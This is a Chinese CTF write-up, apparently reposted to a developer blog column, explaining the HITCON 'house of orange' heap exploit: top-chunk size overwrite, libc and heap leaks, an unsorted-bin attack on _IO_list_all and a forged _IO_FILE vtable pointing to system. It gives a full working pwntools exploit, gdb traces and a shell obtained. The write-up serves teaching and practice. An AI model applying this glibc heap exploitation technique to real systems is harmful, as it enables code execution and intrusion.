前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF PWN之house of orange

CTF PWN之house of orange

作者头像
用户1423082
发布于 2024-12-31 10:41:11
发布于 2024-12-31 10:41:11
6100
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

题目链接:https://github.com/giantbranch/CTF_PWN/tree/master/other/houseoforange

讲解题目

这是一个HITCON中的经典题目了,通过对buildhouse函数的逆向可以得到下面两个结构体

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct house{
    struct orange* point;
    qword*  name;
}

struct orange{
    dword   price
    dword   color;
}

所以在ida新建结构体,当然这题好像没啥太大的帮助

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
00000000 orange          struc ; (sizeof=0x8, mappedto_6)
00000000                                         ; XREF: house/r
00000000 price           dd ?
00000004 color           dd ?
00000008 orange          ends
00000008
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Rela. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 house           struc ; (sizeof=0x10, mappedto_7)
00000000 orangePoint     orange ?
00000008 name            dq ?
00000010 house           ends
00000010
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Dyn. PRESS CTRL-NUMPAD+ TO EXPAND]

保护是全开的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

总体思路:

1、通过upgrade的溢出覆盖topchunk size,那么我们再build,原来的topchunk就到unsortbin去了,就有了libc指针

注意:topchunk size的覆盖是有限制的,最低位要是1,跟topchunk的其实地址加起来要跟0x1000对齐,还有要大于MINSIZE (好像是0x10)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
######### overwrite top chunk size
build(0x10, "A"*0x10, 10,  1)
upgrade(0x40, "A"*0x10+ p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0) * 2 + p64(0xfa1), 10 , 1)
# let top chunk to unsort bin list
build(0xfb0, "A"*0x10, 10,  1)

2、接下来我们申请一个largebin大小的(因为有fd_nextsize和bk_nextsize,可以泄露heap的地址),我们只覆盖前8个字节就可以leak出libc了

注:64位下,largebin最小大小是0x400,即1024字节,要申请largebin大小,必须大于等于0x3e9

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
######### leak libc
# in 64 bit, must malloc more than 0x3e9 to get large bin
build(0x400, "A"*8, 10,  1)
# build(0x3e9, "A"*8, 10,  1)
see()
p.recvuntil("Name of house : AAAAAAAA")
largebin_leak = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "largebin_leak = " + hex(largebin_leak)
main_arena = largebin_leak - 1640
print "main_arena = " + hex(main_arena)
libc_base = main_arena - main_arena_offset
print "libc_base = " + hex(libc_base)
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)

3、之后再覆盖0x10大小,泄露heap地址

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# leak heap
upgrade(0x20, "A"*0x10, 10 , 1)
see()
p.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)

4、最后就利用溢出覆盖unsortbin的bk,实行unsortbin attack,将_IO_list_all指针指向了main_arena+0x58,那么链表指针_chain指向了smallbin[4],即第5个smallbin——0x60大小的。而我们之前就将unsortbin的size改为0x61,所以我们再申请的时候,他首先就会放到smallbin[4],最后我们伪造vtable即可

查看unsortbin位置,可以看到确实chain指向

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ p *((struct _IO_FILE_plus*)0x7f742fb8db78)
$13 = {
  file = {
    _flags = 0xf12befc0, 
    _IO_read_ptr = 0x559af129d4f0 "", 
    _IO_read_end = 0x559af129d4f0 "", 
    _IO_read_base = 0x7f742fb8e510 "", 
    _IO_write_base = 0x7f742fb8db88 <main_arena+104> "\360\324)\361\232U", 
    _IO_write_ptr = 0x7f742fb8db88 <main_arena+104> "\360\324)\361\232U", 
    _IO_write_end = 0x7f742fb8db98 <main_arena+120> "\210?/t\177", 
    _IO_buf_base = 0x7f742fb8db98 <main_arena+120> "\210?/t\177", 
    _IO_buf_end = 0x7f742fb8dba8 <main_arena+136> "\230?/t\177", 
    _IO_save_base = 0x7f742fb8dba8 <main_arena+136> "\230?/t\177", 
    _IO_backup_base = 0x7f742fb8dbb8 <main_arena+152> "\250?/t\177", 
    _IO_save_end = 0x7f742fb8dbb8 <main_arena+152> "\250?/t\177", 
    _markers = 0x7f742fb8dbc8 <main_arena+168>, 
    _chain = 0x7f742fb8dbc8 <main_arena+168>, 
    _fileno = 0x2fb8dbd8, 
    _flags2 = 0x7f74, 
    _old_offset = 0x7f742fb8dbd8, 
    _cur_column = 0xdbe8, 
    _vtable_offset = 0xb8, 
    _shortbuf = "/", 
    _lock = 0x7f742fb8dbe8 <main_arena+200>, 
    _offset = 0x7f742fb8dbf8, 
    _codecvt = 0x7f742fb8dbf8 <main_arena+216>, 
    _wide_data = 0x7f742fb8dc08 <main_arena+232>, 
    _freeres_list = 0x7f742fb8dc08 <main_arena+232>, 
    _freeres_buf = 0x7f742fb8dc18 <main_arena+248>, 
    __pad5 = 0x7f742fb8dc18, 
    _mode = 0x2fb8dc28, 
    _unused2 = "t\177\000\000(?/t\177\000\000\070?/t"...
  }, 
  vtable = 0x7f742fb8dc38 <main_arena+280>
}

那么整个过程怎么触发的呢?

我们修改了bk后,那当我们再次申请内存的时候,其他bins都没有可用的,而unsortbin有可用的内存,就会遍历unsortbin列表,不合适就将bin拖链放到对应的bins列表,比如0x60大小的就放到smallbin那里了,这时候就通过unsortbin attack修改了_IO_list_all,即下面代码的bck->fd = unsorted_chunks (av);,将unsortbin的头指针写到了bck的fd,即我们要写到(_IO_list_all-0x10)->fd,也即写到_IO_list_all(注:av的类型是malloc_state,即mstate,他指向main_arena),再次遍历下一个时由于size为0即_IO_list_all-8处为0,触发的异常,从而劫持控制力,详细请看附录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
				   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");
          size = chunksize (victim);
		 	.............
			.............
			.............
		  /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
			.............
			.............
			.............

还有我们伪造的IO_FILE需要满足一些条件,才能调用_IO_OVERFLOW

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

那么_IO_OVERFLOW指针覆盖为system,fp头指针我们设置为/bin/sh

最终即可成功getshell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[+] Starting local process './houseoforange_22785bece84189e632567da38e4be0e0c4bb1682': pid 6012
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
largebin_leak = 0x7fbfa9142188
main_arena = 0x7fbfa9141b20
libc_base = 0x7fbfa8d7d000
system = 0x7fbfa8dc2390
_IO_list_all = 0x7fbfa9142520
heap_addr = 0x55dab4acf0c0
0x520
[*] Switching to interactive mode
*** Error in `./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682': malloc(): memory corruption: 0x00007fbfa9142520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fbfa8df47e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fbfa8dff13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fbfa8e01184]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0xd6d)[0x55dab2fc4d6d]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0x1402)[0x55dab2fc5402]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fbfa8d9d830]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0xb19)[0x55dab2fc4b19]
======= Memory map: ========
55dab2fc4000-55dab2fc7000 r-xp 00000000 08:01 402634                     /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab31c6000-55dab31c7000 r--p 00002000 08:01 402634                     /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab31c7000-55dab31c8000 rw-p 00003000 08:01 402634                     /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab4acf000-55dab4b12000 rw-p 00000000 00:00 0                          [heap]
7fbfa4000000-7fbfa4021000 rw-p 00000000 00:00 0 
7fbfa4021000-7fbfa8000000 ---p 00000000 00:00 0 
7fbfa8b67000-7fbfa8b7d000 r-xp 00000000 08:01 2626521                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8b7d000-7fbfa8d7c000 ---p 00016000 08:01 2626521                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8d7c000-7fbfa8d7d000 rw-p 00015000 08:01 2626521                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8d7d000-7fbfa8f3d000 r-xp 00000000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa8f3d000-7fbfa913d000 ---p 001c0000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa913d000-7fbfa9141000 r--p 001c0000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa9141000-7fbfa9143000 rw-p 001c4000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa9143000-7fbfa9147000 rw-p 00000000 00:00 0 
7fbfa9147000-7fbfa916d000 r-xp 00000000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa9351000-7fbfa9354000 rw-p 00000000 00:00 0 
7fbfa936b000-7fbfa936c000 rw-p 00000000 00:00 0 
7fbfa936c000-7fbfa936d000 r--p 00025000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa936d000-7fbfa936e000 rw-p 00026000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa936e000-7fbfa936f000 rw-p 00000000 00:00 0 
7ffc73a63000-7ffc73a84000 rw-p 00000000 00:00 0                          [stack]
7ffc73b8c000-7ffc73b8f000 r--p 00000000 00:00 0                          [vvar]
7ffc73b8f000-7ffc73b91000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ id
uid=1000(giantbranch) gid=1000(giantbranch) groups=1000(giantbranch)

exp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-12-29 14:03:27
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 


# struct house{
#     struct orange* point;
#     qword*  name;
# }

# struct orange{
#     dword   price
#     dword   color;
# }

from pwn import *
# context.log_level = "debug"
p = process("./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 # 1. Red            
 # 2. Green            
 # 3. Yellow            
 # 4. Blue            
 # 5. Purple            
 # 6. Cyan            
 # 7. White 
def build(nameLen, name, price, color):
    p.recvuntil("Your choice : ")
    p.sendline("1")
    p.recvuntil("Length of name :")
    p.sendline(str(nameLen))
    p.recvuntil("Name :")
    p.send(name)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

def see():
    p.recvuntil("Your choice : ")
    p.sendline("2")

def upgrade(nameLen, name, price, color):
    p.recvuntil("Your choice : ")
    p.sendline("3")
    p.recvuntil("Length of name :")
    p.sendline(str(nameLen))
    p.recvuntil("Name:")
    p.send(name)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

def getpid():
    print proc.pidof(p)[0]
    pause()

main_arena_offset = 0x3c4b20


######### overwrite top chunk size
build(0x10, "A"*0x10, 10,  1)
upgrade(0x40, "A"*0x10+ p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0) * 2 + p64(0xfa1), 10 , 1)
# let top chunk to unsort bin list
build(0xfb0, "A"*0x10, 10,  1)

######### leak libc
# in 64 bit, must malloc more than 0x3e9 to get large bin
build(0x400, "A"*8, 10,  1)
# build(0x3e9, "A"*8, 10,  1)
see()
p.recvuntil("Name of house : AAAAAAAA")
largebin_leak = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "largebin_leak = " + hex(largebin_leak)
main_arena = largebin_leak - 1640
print "main_arena = " + hex(main_arena)
libc_base = main_arena - main_arena_offset
print "libc_base = " + hex(libc_base)
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)

# getpid()
# leak heap
upgrade(0x20, "A"*0x10, 10 , 1)
see()
p.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)

# unsortbin attack to write _IO_list_all
payload = "A" * 0x400 # padding
payload += p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0)

# fake_file:   fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
fake_file = "/bin/sh\x00" + p64(0x61) 
fake_file += p64(0xaabbccdd) + p64(_IO_list_all-0x10) #unsortbin attack
fake_file += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr
fake_file += p64(0) * 18
fake_file += p64(0) # fp->_mode <= 0
fake_file += p64(0) * 2 # _unused2
fake_file += p64(heap_addr + 0x510) # vtable_point (point to next)

payload += fake_file
payload += p64(0) * 3 # vtable
payload += p64(system)  # __overflow <-- system

print hex(len(payload))
# getpid()

upgrade(0x6666, payload, 11, 2)

# getshell
p.recvuntil("Your choice : ")
p.sendline("1")
p.interactive()

附录——调试最后的流程劫持过程

首先下个硬件断点:watch _IO_list_all

断下来,由于开启了源码调试,我们看源码吧,bck->fd = unsorted_chunks (av);就是将unsorted_bin的头指针写到_IO_list_all的代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  3515           unsorted_chunks (av)->bk = bck;
  3516           bck->fd = unsorted_chunks (av);
  3517 
  3518           /* Take now instead of binning if exact fit */
  35193520           if (size == nb)
  3521             {
  3522               set_inuse_bit_at_offset (victim, size);
  3523               if (av != &main_arena)
  3524                 victim->size |= NON_MAIN_ARENA;
  3525               check_malloced_chunk (av, victim, nb);

继续调试

下面的代码是不会进去的,因为这是刚好满足的情况

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

接下来是进入这里

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  3533           if (in_smallbin_range (size))
  3534             {3535               victim_index = smallbin_index (size);
  3536               bck = bin_at (av, victim_index);
  3537               fwd = bck->fd;
  3538             }

接下来的操作是,将这个chunk放到对应的bin上,比如这里就放到0x60的bins上

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

此时这个0x60大小的chunk已经放入smallbin了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ smallbin
smallbins
0x60: 0x55bc09c5a4f0 —▸ 0x7f32413d8bc8 (main_arena+168) ◂— 0x55bc09c5a4f0

接下来就去下一个unsortbin的chunk了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
3464    */
  3465 
  3466   for (;; )
  3467     {
  3468       int iters = 0;3469       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
  3470         {
  3471           bck = victim->bk;
  3472           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
  3473               || __builtin_expect (victim->size > av->system_mem, 0))
  3474             malloc_printerr (check_action, "malloc(): memory corruption",

接下来由于_IO_list_all那边的size为0

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ x /20gx 0x7f32413d9510
0x7f32413d9510:	0x0000000000000000	0x0000000000000000
0x7f32413d9520 <_IO_list_all>:	0x00007f32413d8b78	0x0000000000000000
0x7f32413d9530:	0x0000000000000000	0x0000000000000000
0x7f32413d9540 <_IO_2_1_stderr_>:	0x00000000fbad2086	0x0000000000000000
0x7f32413d9550 <_IO_2_1_stderr_+16>:	0x0000000000000000	0x0000000000000000
0x7f32413d9560 <_IO_2_1_stderr_+32>:	0x0000000000000000	0x0000000000000000
0x7f32413d9570 <_IO_2_1_stderr_+48>:	0x0000000000000000	0x0000000000000000
0x7f32413d9580 <_IO_2_1_stderr_+64>:	0x0000000000000000	0x0000000000000000
0x7f32413d9590 <_IO_2_1_stderr_+80>:	0x0000000000000000	0x0000000000000000
0x7f32413d95a0 <_IO_2_1_stderr_+96>:	0x0000000000000000	0x00007f32413d9620

具体可以看看调试,rsi为0,就是size为0

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
──────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x7f32413d8b20 (main_arena) ◂— 0x100000001
 RCX  0x6
 RDX  0x40
 RDI  0x7f32413d8bc8 (main_arena+168) —▸ 0x7f32413d8bb8 (main_arena+152) —▸ 0x7f32413d8ba8 (main_arena+136) —▸ 0x7f32413d8b98 (main_arena+120) —▸ 0x7f32413d8b88 (main_arena+104) ◂— ...
 RSI  0x0
 R8   0x7f32413d8bc8 (main_arena+168) —▸ 0x7f32413d8bb8 (main_arena+152) —▸ 0x7f32413d8ba8 (main_arena+136) —▸ 0x7f32413d8b98 (main_arena+120) —▸ 0x7f32413d8b88 (main_arena+104) ◂— ...
 R9   0x1999999999999999
 R10  0x0
 R11  0x7f324118b5e0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R12  0x7f32413d8b78 (main_arena+88) —▸ 0x55bc09c7bfc0 ◂— 0x0
 R13  0x7f32413d9510 ◂— 0x0
 R14  0x270f
 R15  0x0
 RBP  0x20
 RSP  0x7ffe04d39120 ◂— 0x2
 RIP  0x7f3241095ddc (_int_malloc+604) ◂— cmp    rsi, 0x10
───────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────
   0x7f3241095dc7 <_int_malloc+583>    mov    r13, qword ptr [rbx + 0x70]
   0x7f3241095dcb <_int_malloc+587>    cmp    r13, r12
   0x7f3241095dce <_int_malloc+590>    je     _int_malloc+1511 <0x7f3241096167>
 
   0x7f3241095dd4 <_int_malloc+596>    mov    rsi, qword ptr [r13 + 8]
   0x7f3241095dd8 <_int_malloc+600>    mov    r15, qword ptr [r13 + 0x18]0x7f3241095ddc <_int_malloc+604>    cmp    rsi, 0x10
   0x7f3241095de0 <_int_malloc+608>    jbe    _int_malloc+960 <0x7f3241095f40>0x7f3241095f40 <_int_malloc+960>    mov    r10d, dword ptr [rip + 0x342209] <0x7f32413d8150>
   0x7f3241095f47 <_int_malloc+967>    or     dword ptr [rbx + 4], 4
   0x7f3241095f4b <_int_malloc+971>    mov    eax, r10d
   0x7f3241095f4e <_int_malloc+974>    and    eax, 5
────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────
In file: /home/giantbranch/glibc-2.23/malloc/malloc.c
   3467     {
   3468       int iters = 0;
   3469       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
   3470         {
   3471           bck = victim->bk;3472           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
   3473               || __builtin_expect (victim->size > av->system_mem, 0))
   3474             malloc_printerr (check_action, "malloc(): memory corruption",
   3475                              chunk2mem (victim), av);
   3476           size = chunksize (victim);
   3477 
────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffe04d39120 ◂— 0x2
01:00080x7ffe04d39128 ◂— 0x10
02:00100x7ffe04d39130 —▸ 0x7ffe04d391a0 ◂— 0xa /* '\n' */
03:00180x7ffe04d39138 —▸ 0x7ffe04d39340 ◂— 0x1
04:00200x7ffe04d39140 ◂— 0x0
...06:00300x7ffe04d39150 ◂— 0xffff8001fb2c6e61
07:00380x7ffe04d39158 —▸ 0x7ffe04d3919f ◂— 0xa00
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► f 0     7f3241095ddc _int_malloc+604
   f 1     7f3241098184 malloc+84
   f 2     55bc08934d6d
   f 3     55bc08935402
   f 4     7f3241034830 __libc_start_main+240

那么接下来就进入了malloc_printerr这个函数了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
3474             malloc_printerr (check_action, "malloc(): memory corruption",
  3475                              chunk2mem (victim), av);

接下来直接运行,崩溃,可以看到调用顺序是malloc_printerr---->__libc_message---->__GI_abort---->_IO_flush_all_lockp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ bt
#0  0x00007f32413d8c38 in main_arena () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x00007f3241090196 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786
#2  0x00007f324104afbd in __GI_abort () at abort.c:74
#3  0x00007f324108b7ea in __libc_message (do_abort=0x2, fmt=fmt@entry=0x7f32411a4ed8 "*** Error in `%"...) at ../sysdeps/posix/libc_fatal.c:175
#4  0x00007f324109613e in malloc_printerr (ar_ptr=0x7f32413d8b20 <main_arena>, ptr=0x7f32413d9520 <_IO_list_all>, str=0x7f32411a1d3f "malloc(): memor"..., action=<optimized out>) at malloc.c:5006
#5  _int_malloc (av=av@entry=0x7f32413d8b20 <main_arena>, bytes=bytes@entry=0x10) at malloc.c:3474
#6  0x00007f3241098184 in __GI___libc_malloc (bytes=0x10) at malloc.c:2913
#7  0x000055bc08934d6d in ?? ()
#8  0x000055bc08935402 in ?? ()
#9  0x00007f3241034830 in __libc_start_main (main=0x55bc089353af, argc=0x1, argv=0x7ffe04d39348, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe04d39338) at ../csu/libc-start.c:291
#10 0x000055bc08934b19 in ?? ()

所以经过上面的调试你理解4ngelboy的图了吧

附录2:_IO_flush_all_lockp流程

首先获取头指针

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  768     _IO_lock_lock (list_all_lock);
  769 #endif
  770 
  771   last_stamp = _IO_list_all_stamp;
  772   fp = (_IO_FILE *) _IO_list_all;773   while (fp != NULL)
  774     {
  775       run_fp = fp;
  776       if (do_lock)
  777 	_IO_flockfile (fp);
  778

之后就到达判断处

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
779       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
  780 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  781 	   || (_IO_vtable_offset (fp) == 0
  782 	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  783 				    > fp->_wide_data->_IO_write_base))

由于第一个_IO_FILE_plus条件不满足直接跳过了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ p *(struct _IO_FILE_plus *)0x7f6d94f61b78
$19 = {
  file = {
    _flags = 0x660a0fc0, 
    _IO_read_ptr = 0x55fc6607f4f0 "/bin/sh", 
    _IO_read_end = 0x55fc6607f4f0 "/bin/sh", 
    _IO_read_base = 0x7f6d94f62510 "", 
    _IO_write_base = 0x7f6d94f61b88 <main_arena+104> "\360\364\af\374U", 
    _IO_write_ptr = 0x7f6d94f61b88 <main_arena+104> "\360\364\af\374U", 
    _IO_write_end = 0x7f6d94f61b98 <main_arena+120> "\210\033\366\224m\177", 
    _IO_buf_base = 0x7f6d94f61b98 <main_arena+120> "\210\033\366\224m\177", 
    _IO_buf_end = 0x7f6d94f61ba8 <main_arena+136> "\230\033\366\224m\177", 
    _IO_save_base = 0x7f6d94f61ba8 <main_arena+136> "\230\033\366\224m\177", 
    _IO_backup_base = 0x7f6d94f61bb8 <main_arena+152> "\250\033\366\224m\177", 
    _IO_save_end = 0x7f6d94f61bb8 <main_arena+152> "\250\033\366\224m\177", 
    _markers = 0x55fc6607f4f0, 
    _chain = 0x55fc6607f4f0, 
    _fileno = 0x94f61bd8, 
    _flags2 = 0x7f6d, 
    _old_offset = 0x7f6d94f61bd8, 
    _cur_column = 0x1be8, 
    _vtable_offset = 0xf6, 
    _shortbuf = "\224", 
    _lock = 0x7f6d94f61be8 <main_arena+200>, 
    _offset = 0x7f6d94f61bf8, 
    _codecvt = 0x7f6d94f61bf8 <main_arena+216>, 
    _wide_data = 0x7f6d94f61c08 <main_arena+232>, 
    _freeres_list = 0x7f6d94f61c08 <main_arena+232>, 
    _freeres_buf = 0x7f6d94f61c18 <main_arena+248>, 
    __pad5 = 0x7f6d94f61c18, 
    _mode = 0x94f61c28, 
    _unused2 = "m\177\000\000(\034\366\224m\177\000\000\070\034\366"...
  }, 
  vtable = 0x7f6d94f61c38 <main_arena+280>
}

之后通过_chain获取下一个_IO_FILE_plus

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
795 	  /* Something was added to the list.  Start all over again.  */
   796 	  fp = (_IO_FILE *) _IO_list_all;
   797 	  last_stamp = _IO_list_all_stamp;
   798 	}
   799       else800 	fp = fp->_chain;
   801     }
   802 
   803 #ifdef _IO_MTSAFE_IO
   804   if (do_lock)
   805     _IO_lock_unlock (list_all_lock);

满足条件就进入了if,执行_IO_OVERFLOW

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
781 	   || (_IO_vtable_offset (fp) == 0
  782 	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  783 				    > fp->_wide_data->_IO_write_base))
  784 #endif
  785 	   )786 	  && _IO_OVERFLOW (fp, EOF) == EOF)
  787 	result = EOF;
  788 
  789       if (do_lock)
  790 	_IO_funlockfile (fp);
  791       run_fp = NULL;

最终执行的是我们的system,rdi也就是fp,就是/bin/sh,getshell没问题

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────
 RAX  0x55fc6607f5d0 ◂— 0x0
 RBX  0x55fc6607f4f0 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RCX  0x7f6d94bd2730 (sigprocmask+16) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x55fc6607f4f0 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0xffffffff
 R8   0x4
 R9   0x0
 R10  0x8
 R11  0x246
 R12  0x7f6d95172700 ◂— 0x7f6d95172700
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x7ffcd401da30 ◂— 0x3a30302030303030 ('0000 00:')
 RIP  0x7f6d94c19193 (_IO_flush_all_lockp+371) ◂— call   qword ptr [rax + 0x18]
─────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
   0x7f6d94c19284 <_IO_flush_all_lockp+612>    cmp    qword ptr [rbx + 0x28], rax
   0x7f6d94c19288 <_IO_flush_all_lockp+616>    ja     _IO_flush_all_lockp+356 <0x7f6d94c19184>0x7f6d94c19184 <_IO_flush_all_lockp+356>    mov    rax, qword ptr [rbx + 0xd8]
   0x7f6d94c1918b <_IO_flush_all_lockp+363>    mov    esi, 0xffffffff
   0x7f6d94c19190 <_IO_flush_all_lockp+368>    mov    rdi, rbx
 ► 0x7f6d94c19193 <_IO_flush_all_lockp+371>    call   qword ptr [rax + 0x18] <0x7f6d94be2390>
 
   0x7f6d94c19196 <_IO_flush_all_lockp+374>    cmp    eax, -1
   0x7f6d94c19199 <_IO_flush_all_lockp+377>    mov    eax, 0xffffffff
   0x7f6d94c1919e <_IO_flush_all_lockp+382>    cmove  ebp, eax
   0x7f6d94c191a1 <_IO_flush_all_lockp+385>    test   r14d, r14d
   0x7f6d94c191a4 <_IO_flush_all_lockp+388>    je     _IO_flush_all_lockp+464 <0x7f6d94c191f0>
──────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────
In file: /home/giantbranch/glibc-2.23/libio/genops.c
   781 	   || (_IO_vtable_offset (fp) == 0
   782 	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
   783 				    > fp->_wide_data->_IO_write_base))
